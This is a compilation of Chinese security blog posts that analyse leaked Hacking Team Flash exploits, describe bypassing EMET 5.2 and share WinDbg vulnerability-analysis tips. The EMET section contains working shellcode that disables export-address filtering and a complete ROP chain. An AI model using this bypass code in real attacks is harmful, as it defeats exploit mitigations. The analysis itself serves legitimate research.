• https://bugzilla.redhat.com/show_bug.cgi?id=1294425

  • 周末大清早起来,就看到知道创宇在微博上说,Hacking Team又泄露新的Flash 0Day,在当前最新实测可用。于是笔者下载了一份利用代码,经测试确实在最新版上可利用,目前Adobe官方未发布补丁。此次泄露的0day并没有在泄露的工具库里面,而是在邮件附件中被发现的。
     
     
    【利用代码分析】
     
    1、这次的漏洞主要出现在AS3 "opaqueBackground” 属性上,它主要用于设置背景颜色。首先创建_ar Array数组,然后用vector.对象填充。
     


     
    2、接着创建TextLine对象,然后设置它的opaqueBackground属性,再自定义valueOf函数,这个函数是触发漏洞的关键,跟前几个flash漏洞类似。
     
     
    3、设置opaqueBackground属性,将_mc(MyClass类型)赋予opaqueBackground,由于数据类型不同,AVM会进行类型转换,此时自定义的valueOf2就会被调用。
     


     
    4、调用recreateTextLine函数重建TextLine,导致原分配的TextLine对象内存被释放,但程序依然保留着对它的引用,所以漏洞也是个UAF漏洞。接着重新设置_ar[i].length的长度值(_vLen 大于原始长度值 ),会导致重新分配内存,从而占用已释放的内存,此时里面都是vector.对象。最后返回_vLen+8的值给_ar[_cnt].opaqueBackground,如果利用成功,它刚好会去篡改某个vector.对象的长度值为106。
     
     
    5、找到被篡改了长度的vector对象,由于其长度值被更改,再用这个被改的vector去覆盖下一个vector长度为0x40000000,允许读取到更大内存空间的数据,从而获取需要调用的函数地址,绕过ASLR保护。根据不同的系统平台,选择不同的shellcode代码执行,这些跟前2个flash 漏洞的利用模板基本一致。
     
     
    6、内存搜索的方式也是采用搜索“MZ”PE头这种暴力方式,再去解析PE文件格式,从导入表中的找到kernel32.dll库,再从其函数名列表里找到VirtualProtect函数,进而找到对应的函数地址进行调用。
     
     
    7、看下ShellWin32.Exec函数,通过内存搜索找到VirtualProtect函数地址,将包含执行calc的shellcode设置为可执行权限,以此绕过DEP保护,并用指向shellcode的指针替换payload对应的JIT函数指针,当调用Payload.call 时则执行的正是shellcode。
     

    【防范方案】

    Adobe官方刚刚已经发布安全公告,对应的CVE号为:CVE-2015-5122,并称12号将发布安全补丁,相当于北京时间周一早上。TSRC建议大家在官方发布补丁前,先禁用Flash插件。


    【总结】
     
         此次漏洞主要是AS3 opaqueBackground 属性导致的UAF漏洞,依然是valueOf导致的漏洞,此次Hacking Team 曝光的3个漏洞均是valueOf问题,用的基本是同一套利用模板,并且支持多个平台环境,都是采用vector exploit技术去实现信息泄露,从而绕过ASLR,再调用virtualProtect去赋予shellcode可执行权限,以此绕过DEP保护。可以预见未来将会有很多flash exploit 采用类似技术,甚至可能在一些恶意样本中找到Hacking Team的Flash利用模板,未来的利用代码将会更加工程化,通用化。
     
  • 目前 Hacking Team 泄露的Flash 0Day已经修复,官方已提供补丁下载,与此同时Metasploit已经提供有漏洞利用代码。在HT泄露的源码目录里,已经包含有对漏洞的简要分析。

     
    【源码分析】
     
    1、在MyClass.TryExp1函数中触发漏洞,先分配一组ByteArray,长度为0xfa0,相当于0x1000大小的内存。
     
     
    2、设置ByteArray值,在将MyClass类赋值给_ba[3]时,AVM会调用MyClass.valueOf函数试图将MyClass类型其转换成Byte类型。
     
     
    3、在valueOf 函数中会重新设置更大长度的ByteArray,导致释放原有的ByteArray内存,再重新分配,但是valueOf函数返回后,依然保持着对已释放内存的引用,从而导致UAF漏洞的发生。紧接着分配一堆0x3f0大小的vector.<uint>对象,以占用已释放的内存,然后返回0x40值给ba[3],刚好覆盖vector对象头部的长度值,以实现读写任意内存地址。
     
     
    4、后面的代码基本跟第一篇分析文章中介绍一样。再补充下上面调用valueOf转换类型的AVM伪代码:
     
        void ByteArray.setObjInternal(int offset, obj)
        {
            byte* dest = this.getStorage(offset);
            dest* = toInteger(obj);     // call MyClass.valueOf()
        }
     

     

    将ba[3]的内存存储地址保存到本地定义的目标指针,然后对象类型转换成整数类型并赋值给目标指针,当ByteArray数组长度改变时,它会释放原有ba内存,目标指针就成为悬挂指针。
  • CVE-2015-0349 Flash ConvolutionFilter UAF 是今年Pwn2Own大赛上被用于攻破64位Flash的漏洞,在泄露的Hacking Team武器库中就包括了该漏洞的利用代码,以及利用本地提权漏洞作为shellcode,以绕过沙盒的保护。泄露的利用代码包含完整的工程文件,用Flash Develop打开项目即可编译。

     
    【源码分析】
     
    1、MyClass.TryExp1是漏洞利用的入口函数,它先创建ConvolutionFilter类,它是一个矩阵环绕滤镜,比如用于实现模糊、斜边、锐化等效果。它的2个参数分别为matrixX矩阵列数和matrixY矩阵行数,这里分别是14和15。
     
     
    2、接下来程序将分配ConvolutionFilter的a(Array类型)赋值给_cf (ConvolutionFilter对象),并设置matrix值为m(Array类型),接着将matrix数组的第一个元素赋值给m0,当它不为0是则表示漏洞不存在,否则即存在UAF漏洞。为何如此?在第一点中,我们知道m[0]是MyClass类,该类里面定义有valueOf方法,在设置martix值时会调用到该方法,具体见第3点分析。
     
     
    3、在valueOf 函数中,matrixX会被重新设置为15(原始值为14),导致原先有matrix数组被释放,然后重新分配矩阵滤镜的matrixX内存,但此时_cf.matrix依然保持着对已释放的matrix数组的引用,所以在第2点会会去判断matrix数组首个元素值是否为0(原初始值也是0),也就是判断已释放的数组是否还可被引用。
     
     
    4、通过分配一堆Vector.<uint>对象去占用已释放的内存,长度刚好与matrix数组长度相同,也就是matrixX * matrixY = 14*15,每个vector.<uint>对象的实际大小就是14*15*4=0x348(840),最后在从valueOf函数中返回2,2会被写入matrix数组首个元素中,但此时实际是向Vector对象写入数据,从而更改vector对象长度,实现任意内存读写。
     
     
    5、再回头继续看MyClass.TryExp1函数,找到已经被篡改长度值的vector对象,再根据不同的系统平台执行不同的shellcode代码。
     
     
    6、看下32位windows平台的shellcode执行相关的ShellWin32类,先看初始化函数init,它只是做一些全局变量赋值。
     
     
    7、真正用于执行代码的是ShellWin32.Exec函数,先获取包含shellcode的_x32对象地址,然后在内存中搜索PE头,解析PE文件格式,从导入表中找到VirtualProtect函数地址,调用它对shellcode内存地址设置可执行权限,接着找到自定义的payload空函数对应的JIT函数指针,用shellcode地址去替换JIT指针,最后调用payload.call 以执行shellcode的。
     
     

     

     

     

     
  • 绕过最新版 EMET 5.2 保护摘要

    日期:2015-06-04 | 分类:软件漏洞

    绕过EMET 5.2 EAT保护:
     
    【保护原理】
     
    分别对ntdll、kernel32和kernelbase的EAT基址下断点,断点地址记录在调试寄存器dr0、dr1、dr2、dr3上,dr6保存最新调试异常的状态信息,dr7包含4个断点的设置,当利用漏洞去调用EAT时就会触发中断。
     
    开启EAT保护前:
    0:000> rM 20
    dr0=00000000 dr1=00000000 dr2=00000000
    dr3=00000000 dr6=00000000 dr7=00000000
    ntdll!LdrpDoDebuggerBreak+0x2c:
    76f3103b cc              int     3
     
    开启EAT保护后:
    0:000> rM 20
    dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
    dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
    ntdll!LdrpSnapThunk+0x1c1:
    76ec01ae 03c2            add     eax,edx
     
     
    【绕过方法】
     
    通过构造异常触发,来构造寄存器上下文,防止后面因dr寄存器清空也触发异常。
     
     
    mov     eax, 150h     ; 指向服务号,防止异常处理失效
    xor     ecx, ecx
    sub     esp, 2cch                       ; makes space for CONTEXT
    mov     dword ptr [esp], 10010h         ; CONTEXT_DEBUG_REGISTERS
    mov     dword ptr [esp + 4], ecx        ; context.Dr0 = 0
    mov     dword ptr [esp + 8], ecx        ; context.Dr1 = 0
    mov     dword ptr [esp + 0ch], ecx      ; context.Dr2 = 0
    mov     dword ptr [esp + 10h], ecx      ; context.Dr3 = 0
    mov     dword ptr [esp + 14h], ecx      ; context.Dr6 = 0
    mov     dword ptr [esp + 18h], ecx      ; context.Dr7 = 0
    push    esp
    push    0fffffffeh                      ; current thread
    mov     edx, esp
    call    dword ptr fs : [0C0h]           ; this also decrements ESP by 4
    add     esp, 4 + 2cch + 8
     
     
                     disable_EAF = (
                "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
                "\x33\xC9" +                        # xor    ecx,ecx
                "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh  ,makes space for CONTEXT
                "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
                "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
                "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
                "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
                "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
                "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
                "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
                "\x54" +                            # push   esp
                "\x6A\xFE" +                        # push   0FFFFFFFEh
                "\x8B\xD4" +                        # mov    edx,esp
                "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
                "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
            )
     
     
     
    绕过EMET 5.2 MemProt保护:
     
    【保护原理】
     
    EMET对VirtualProtect和VirtuaProtectEx进行Hook,正常情况下,执行上述函数后调用ntdll!ZwProtectVirtualMemory,接着向eax=0x4d传递服务号,然后调用 call    dword ptr fs:[0C0h],此时EDX传递5个参数(进程句柄、地址、大小、可读写执行权限、可写地址),然后继续执行下去。
     
     
    【绕过方法】
     
    旧版EMET如4.1上,可以用VirtualAlloc/VirtuAllocEx。
     
    最新版EMET 5.2上,可以用后面执行的原始代码去代替被EMET HOOK的地方,即构造ROP,使得eax=0x4d,然后通过ntdll!NtQueryInformationThread中的call dword ptr fs:[0c0h]指令去执行。
     
    [
         msvcr120 = 0x73c60000  # 固定基址,无ASLR保护模块msvcr

         # Delta used to fix the addresses based on the new base address of msvcr120.dll.
         md = msvcr120 - 0x70480000 # 0x37E0000
     
         # EAX = ntdll!RtlExitUserThread
        md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x7056507c, # IAT: &ntdll!RtlExitUserThread
        md + 0x70501e19, # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,

        # EAX = ntdll!NtQueryInformationThread
        md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x704a691c, # ADD EAX,DWORD PTR [EAX] # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
        md + 0x704ecd87, # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
        md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111, # for RETN 0x04

        # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}

        # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x704819e8, # XCHG EAX,EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}

        # ECX = 0; EAX = 0x4d
        md + 0x704f2485, # XOR ECX,ECX # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
        0x4d,

        md + 0x704c0a08, # JMP EBX
        md + 0x7055adf3, # JMP ESP
        0x11111111, # for RETN 0x14
        0x11111111, # for RETN 0x14
        0x11111111, # for RETN 0x14
        0x11111111, # for RETN 0x14
        0x11111111, # for RETN 0x14

        # real_code:
        0x90901eeb, # jmp skip

        # args:
        0xffffffff, # current process handle
        0x11111111, # &address = ptr to address
        0x11111111, # &size = ptr to size
        0x40,
        md + 0x705658f2, # &Writable location [MSVCR120.dll]
        # end_args:
        0x11111111, # address     code_size + 8 # size
        # skip:
    ]
  • Palo Alto Networks针对CVE-2014-1705漏洞利用的分析文章,通过内存泄露地址+虚表指针覆盖来实现利用,此前该漏洞还获得黑客奥斯卡 Pwnie Awards 2014 最佳客户端漏洞,里面有补丁源码对比,漏洞成因及利用技术分析,但未放出完整的exploit代码 :http://researchcenter.paloaltonetworks.com/2014/12/google-chrome-exploitation-case-study/ 

  • 软件漏洞分析技巧分享

    日期:2014-03-21 | 分类:软件漏洞

    在日常分析软件漏洞时,经常需要耗费比较长的分析时间,少则几小时,多则数天,甚至更久。因此,经常总结一些分析技巧是非常有必要的,针对不同的漏洞类型采取不同的分析思路和技巧,可以有效地提高分析速度。对于一些被曝出来的热门0day,网上一般都会有分析文章,但一般都是“结论性分析”,也就是直接帖漏洞代码,指出哪里出错,而非“思路性分析”。如果你经常分析漏洞的话,会发现占用你分析时间的往往不是分析漏洞代码,而是定位漏洞代码。所以说,调试分析漏洞有时就是看下断点下得准不,再加上一些胡猜乱想来推测,最后才是分析漏洞代码了,如果熟悉汇编指令,这个就不是问题了。

           下面是笔者就以往分析过的若干实例漏洞,总结出的一些小技巧。不过,技巧甚多,篇幅有限,此处仅列举一些比较个人常用的方法,也欢迎各位分享自己的一些分析技巧,大家共同学习探讨。

    技巧一:快速定位JS代码调用的IE类成员函数

           CVE-2011-0027 Microsoft Data Access组件整数溢出漏洞是Pwn2Own 2010黑客大赛中被用来攻破IE8浏览器的漏洞,其中关键的漏洞触发代码如下:

    localxmlid1 = document.getElementById('xmlid1').recordset;	// 获取xml元素xmlid1的recordset,即数据库表的记录集
    localxmlid1.CacheSize = 0x40000358;	// 设置能够被保存的记录条数,此值最终造成整数溢出
    


           现在我们就介绍一种快速定位上述两行代码将对应调用的IE类成员函数,首先用IDA加载漏洞文件msado15.dll,并允许加载微软符号表,然后选中“Function name”一栏,按“Alt + T”快捷键弹出搜索框,输入搜索关键字“cachesize”:




    通过按“Ctrl+T”可继续搜索下一个,最后找到两个相关函数:




    根据函数名猜测下面的函数可能就是用于设置和获取cachesize属性值的:

    CRecordset::put_CacheSize(long *)
    CRocordset::get_CacheSize(long)
    


           我们对CRecordset::put_CacheSize下断点验证下前面的猜测,用Windbg附加IE进程运行后打开poc.html,确实断在put_CacheSize,通过查看参数可以看到poc.html中设置的CacheSize值0x40000358,说明CRecordset::put_CacheSize确实是设置CacheSize值的函数:

    0:005> g
    Breakpoint 1 hit
    eax=40000358 ebx=04bdcfd8 ecx=6e61d340 edx=00000000 esi=01fbf144 edi=00000000
    eip=6e6ac957 esp=01fbeb58 ebp=01fbf040 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    msado15!CRecordset::put_CacheSize:
    6e6ac957 8bff            mov     edi,edi
    0:005> dd esp
    01fbeb58  6e62f3ec 04bdcfd8 40000358 00000000
    01fbeb68  01fbf074 04bdcfd8 11000011 00000000
    01fbeb78  03570ae8 004ad070 00538a30 00000088
    01fbeb88  00470000 00000002 03570760 01fbec84
    01fbeb98  76fc3193 00470138 76fc316f 764736b8
    01fbeba8  00000000 00470000 03570768 00518a78
    01fbebb8  004767b8 004768e4 00559258 00476db8
    01fbebc8  76f8d74d 0051d968 00472a98 01fbedc0
    


          说明 localxmlid1.CacheSize = 0x40000358 这行设置CacheSize的JS代码对应调用的就是CRecordset::put_CacheSize 函数。采用同类方法也很容易确认 document.getElementById('xmlid1').recordset 调用的是CGenericElement::get_recordset函数,各位朋友可以自己动手试下。

    技巧二:通过页堆快速定位堆漏洞代码

            页堆是windows 2000 引入的调试支持功能,简称DPH(Debug Page Heap),启用该机制后,堆管理器会在堆块后增加专门用于检测溢出的栅栏页,当数据溢出触及栅栏页便会立刻触发异常,此时往往就是触发漏洞的最及时的位置,它不仅适用于堆溢出,对于其它类型的堆漏洞也是适用的。

             以CVE-2013-0077 微软DirectShow堆溢出漏洞为例,通过以下命令开启页堆(gflags):

                gflags.exe –i player.exe +hpa

    开启页堆hpa后,重新附加运行后,在复制数据到堆边界时断下:

    (4b8.358): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=000000c3 ebx=003fac98 ecx=00000003 edx=000000f7 esi=001bbdd4 edi=003fb000
    eip=7d0706d0 esp=02a5f650 ebp=02a5f658 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202
    quartz!ParseSequenceHeader+0x114:
    7d0706d0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
    


    上面就是断在复制数据导致溢出的指令,通过分析其所在函数往往很容易定位漏洞代码。如果不开启页堆,直接以默认形式调试的话,你会发现是断在以下指令:

    (4c8.6bc): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=003f0000 ecx=41414141 edx=03128e40 esi=03128e38 edi=00000012
    eip=7c930efe esp=0465f998 ebp=0465fbb8 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    ntdll!RtlAllocateHeap+0x653:
    7c930efe 8b39            mov     edi,dword ptr [ecx]  ds:0023:41414141=????????
    


    这已经是堆溢出后导致的内存读取异常了,不再是触发漏洞时最原始的场景了。因此开启页堆后,会更方便你去定位漏洞代码。

     

    技巧三:基于堆分配记录定位整数溢出漏洞代码

     

           以CVE-2011-0027 Microsoft Data Access组件整数溢出漏洞为例,这个漏洞就是在Pwn2Own 2010黑客大赛中,荷兰黑客Peter Vreugdenhil利用它来攻破Win7上的IE8浏览器的。

           下面是打开poc.html后的异常情况:

    (7b8.278): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0000036b ebx=0000035b ecx=00000000 edx=00000001 esi=088c8000 edi=00000000
    eip=6887746f esp=044dee84 ebp=044dee88 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    mshtml!CImpIRowset::HRowNumber2HROWQuiet+0x23:
    6887746f 8906            mov     dword ptr [esi],eax  ds:0023:088c8000=????????
    0:005> !heap -p -a 088c8000
        address 088c8000 found in
        _DPH_HEAP_ROOT @ 8821000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                     88227ec:          88c7298              d64 -          88c7000             2000
        72eb8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
        77034ea6 ntdll!RtlDebugAllocateHeap+0x00000030
        76ff7d96 ntdll!RtlpAllocateHeap+0x000000c4
        76fc34ca ntdll!RtlAllocateHeap+0x0000023a
        730d975d MSDART!MpHeapAlloc+0x00000029
        6e5406e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085
        6e540650 msado15!CRecordset::PrepareForFetch+0x000000e2
        6e5d44ae msado15!CRecordset::MoveAbsolute+0x000003e3
        6e5680a5 msado15!CRecordset::_MoveFirst+0x0000007d
        6e5d7957 msado15!CRecordset::MoveFirst+0x00000221
        6e54fde6 msado15!CRecordset::Invoke+0x00001560
        71dcdb38 jscript!IDispatchInvoke2+0x000000f0
        71dcda8c jscript!IDispatchInvoke+0x0000006a
        71dcd9ff jscript!InvokeDispatch+0x000000a9
        71dcdb8a jscript!VAR::InvokeByName+0x00000093
        71dcd8c8 jscript!VAR::InvokeDispName+0x0000007d
        71dcd96f jscript!VAR::InvokeByDispID+0x000000ce
        71dce3e7 jscript!CScriptRuntime::Run+0x00002b80
        71dc5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
        71dc5bfb jscript!ScrFncObj::Call+0x0000008d
        71dc5e11 jscript!CSession::Execute+0x0000015f
        71dbf3ee jscript!NameTbl::InvokeDef+0x000001b5
        71dbea2e jscript!NameTbl::InvokeEx+0x0000012c
        71db96de jscript!NameTbl::Invoke+0x00000070
        685aaa7b mshtml!CWindow::ExecuteTimeoutScript+0x00000087
        685aab66 mshtml!CWindow::FireTimeOut+0x000000b6
        685d6af7 mshtml!CStackPtrAry<unsigned long,12>::GetStackSize+0x000000b6
        685d1e57 mshtml!GlobalWndProc+0x00000183
        770e86ef USER32!InternalCallWinProc+0x00000023
        770e8876 USER32!UserCallWinProcCheckWow+0x0000014b
        770e89b5 USER32!DispatchMessageWorker+0x0000035e
        770e8e9c USER32!DispatchMessageW+0x0000000f
    

    根据上面异常的信息,可以知道程序是在向地址为0x88c7298,大小0xd64的堆块写入数据时造成堆溢出了。再根据!heap命令中返回的栈回溯信息可以知道,被溢出的堆块是在CRecordset::MoveFirst函数中调用MpHeapAlloc函数分配的,调用该分配函数的上层函数是CRecordGroup::AllocateHRowRange,对此函数下断,跟进后:   

    Breakpoint 0 hit
    eax=00000001 ebx=40000358 ecx=76fc316f edx=096f2d34 esi=09759d70 edi=40000358
    eip=69da06be esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    msado15!CRecordGroup::AllocateHRowRange+0x5e:
    69da06be 85ff            test    edi,edi
    0:005> p
    eax=00000001 ebx=40000358 ecx=76fc316f edx=096f2d34 esi=09759d70 edi=40000358
    eip=69da06c0 esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x60:
    69da06c0 0f8e34380200    jle     msado15!CRecordGroup::AllocateHRowRange+0x62 (69dc3efa) [br=0]
    0:005> p
    eax=00000001 ebx=40000358 ecx=76fc316f edx=096f2d34 esi=09759d70 edi=40000358
    eip=69da06c6 esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x64:
    69da06c6 8bc7            mov     eax,edi	// eax = edi = 0x40000358,即CacheSize
    0:005> p
    eax=40000358 ebx=40000358 ecx=76fc316f edx=096f2d34 esi=09759d70 edi=40000358
    eip=69da06c8 esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x66:
    69da06c8 8b3dfc10d969    mov     edi,dword ptr [msado15!_imp__MpHeapAlloc (69d910fc)] ds:0023:69d910fc={MSDART!MpHeapAlloc (72de9730)}
    0:005> p
    eax=40000358 ebx=40000358 ecx=76fc316f edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06ce esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x6c:
    69da06ce 89460c          mov     dword ptr [esi+0Ch],eax ds:0023:09759d7c=00000000
    0:005> p
    eax=40000358 ebx=40000358 ecx=76fc316f edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06d1 esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x6f:
    69da06d1 8b0d10f0e569    mov     ecx,dword ptr [msado15!g_hHeapHandle (69e5f010)] ds:0023:69e5f010=096f0000
    0:005> p
    eax=40000358 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06d7 esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x75:
    69da06d7 8d048504000000  lea     eax,[eax*4+4]	// 分配的堆块大小= 0x40000358*4+4 = 0xd64,这里eax的最大值是0xFFFFFFFF,经eax*4+4后变成0x100000D64 > 0xFFFFFFFF造成整数溢出,结果溢出后等于0xD64。如果我们把CacheSize设置成0x3FFFFFFF,那么后面分配的堆块就是0了。
    0:005> p
    eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06de esp=0446eeec ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x7c:
    69da06de 50              push    eax	// 堆块大小=0xd64
    0:005> p
    eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06df esp=0446eee8 ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x7d:
    69da06df 680000a000      push    0A00000h
    0:005> p
    eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06e4 esp=0446eee4 ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x82:
    69da06e4 51              push    ecx
    0:005> p
    eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730
    eip=69da06e5 esp=0446eee0 ebp=0446eef8 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    msado15!CRecordGroup::AllocateHRowRange+0x83:
    69da06e5 ffd7            call    edi {MSDART!MpHeapAlloc (72de9730)}
    

     

    该漏洞主要是由于对CacheSize整数值未作有效判断,导致经CacheSize*4+4造成整数溢出,当以CacheSize*4+4结果作为分配堆块的大小时,由于分配过小堆块就会造成堆溢出。

    技巧四:基于条件记录断点的漏洞分析技巧

     

           以CVE-2012-0774 Adobe Reader TrueType字体整数溢出漏洞为例,该漏洞主要是在解析TTF字体中的虚拟指令导致的溢出,为了确定导致溢出的是哪条虚拟指令,就可以通过设置条件记录断点来实现。

           打开poc触发崩溃后,通过栈回溯定位漏洞函数,此处标记为VulFunction,它就是用于索引虚拟指令处理函数的。


    通过快捷键Shift + F4对VulFunction下条件记录断点,记录每次调用VulFunction时对应的虚拟指令索引号


    设置好后重新加载AcroRd32.exe运行(不要关闭调试器否则前面设置的断点可能失效),打开poc.pdf运行后查看日志窗口:

    导致漏洞的虚拟指令索引号为0x26,通过苹果官方提供的指令集https://developer.apple.com/fonts/ttrefman/RM05/Chap5.html,可以查到字节码0x26对应的虚拟指令为MINDEX,正是该条指令导致的溢出。

     

    技巧五:基于JS日志的漏洞分析技巧

     

           有时在调试IE漏洞时,我们需要样本中的JS代码的执行先后情况,通过添加一些数学函数,比如math.atan2、math.asin等,还可以使用其它函数,然后通过对jscript!Js::Math::Atan(或者其它函数)下断点来输出log,以方便分析者观察执行情况。比如poc中有如下js,其中的math.atan2是我们添加的:

    Math.atan2(0xbabe, "[*] Creating object button...");
    	var obj = document.createElement("button");
    
    	Math.atan2(0xbabe, "[*] Assigning data to title...");
    	obj.title = data.substring(0,0x40000-0x58); 
    
    	Math.atan2(0xbabe, "[*] Let's AppendChild");
    	div_container.appendChild(obj);
    

    通过设置以下断点:

    bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"

     

    运行后在windbg上的输出窗口就会看到:

    [*] Creating object button...
    [*] Assigning data to title...
    [*] Let's AppendChild
    

     

    技巧六:通过虚拟机快照来固定堆地址

     

           最早听到这个方法,是instruder在QQ群里面提到的。由于在分析漏洞时,尤其是堆漏洞时,每个重新加载运行时,分配的堆地址都是固定,无论是分析还是写文档,都不太利用于我们分析和描述。因此我们可以先将程序调试已经完成堆分配的某个地址,然后将其保存为虚拟机快照,等我们需要再重新开始调试时,可通过恢复先前保存的快照来重新调试,那么此时的堆地址跟之前分析的地址都是固定的。

     

    技巧七:监控堆分配释放动作来分析UAF、double free漏洞

     

           以之前分配libpng某个double free漏洞的分析为例,主要是通过对释放函数free进行监控并输出记录来分析的。程序崩溃时的栈回溯如下:


    重新用windbg加载,通过监控堆块的释放过程,可以发现它在对其中某堆块进行了双重释放,先下断:

    bu 3440D279 ".if(1){.echo EnterVulnFunc;gc}"
    bu 6e264b6c ".if(1){.echo Free heap block; dd esp l4;gc}"
    

     

    输出结果:

    EnterVulnFunc
    Free heap block
    0011bc5c  3441e2a2 138f0020 3b906313 10027b64
    Free heap block
    0011bc5c  3441dc6c 138f0020 3b906313 10027b64
    (1508.e84): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=138f0018 ebx=138f0020 ecx=6e287a7e edx=10028a70 esi=008a0000 edi=00000000
    eip=77691f88 esp=0011bbe8 ebp=0011bbf8 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
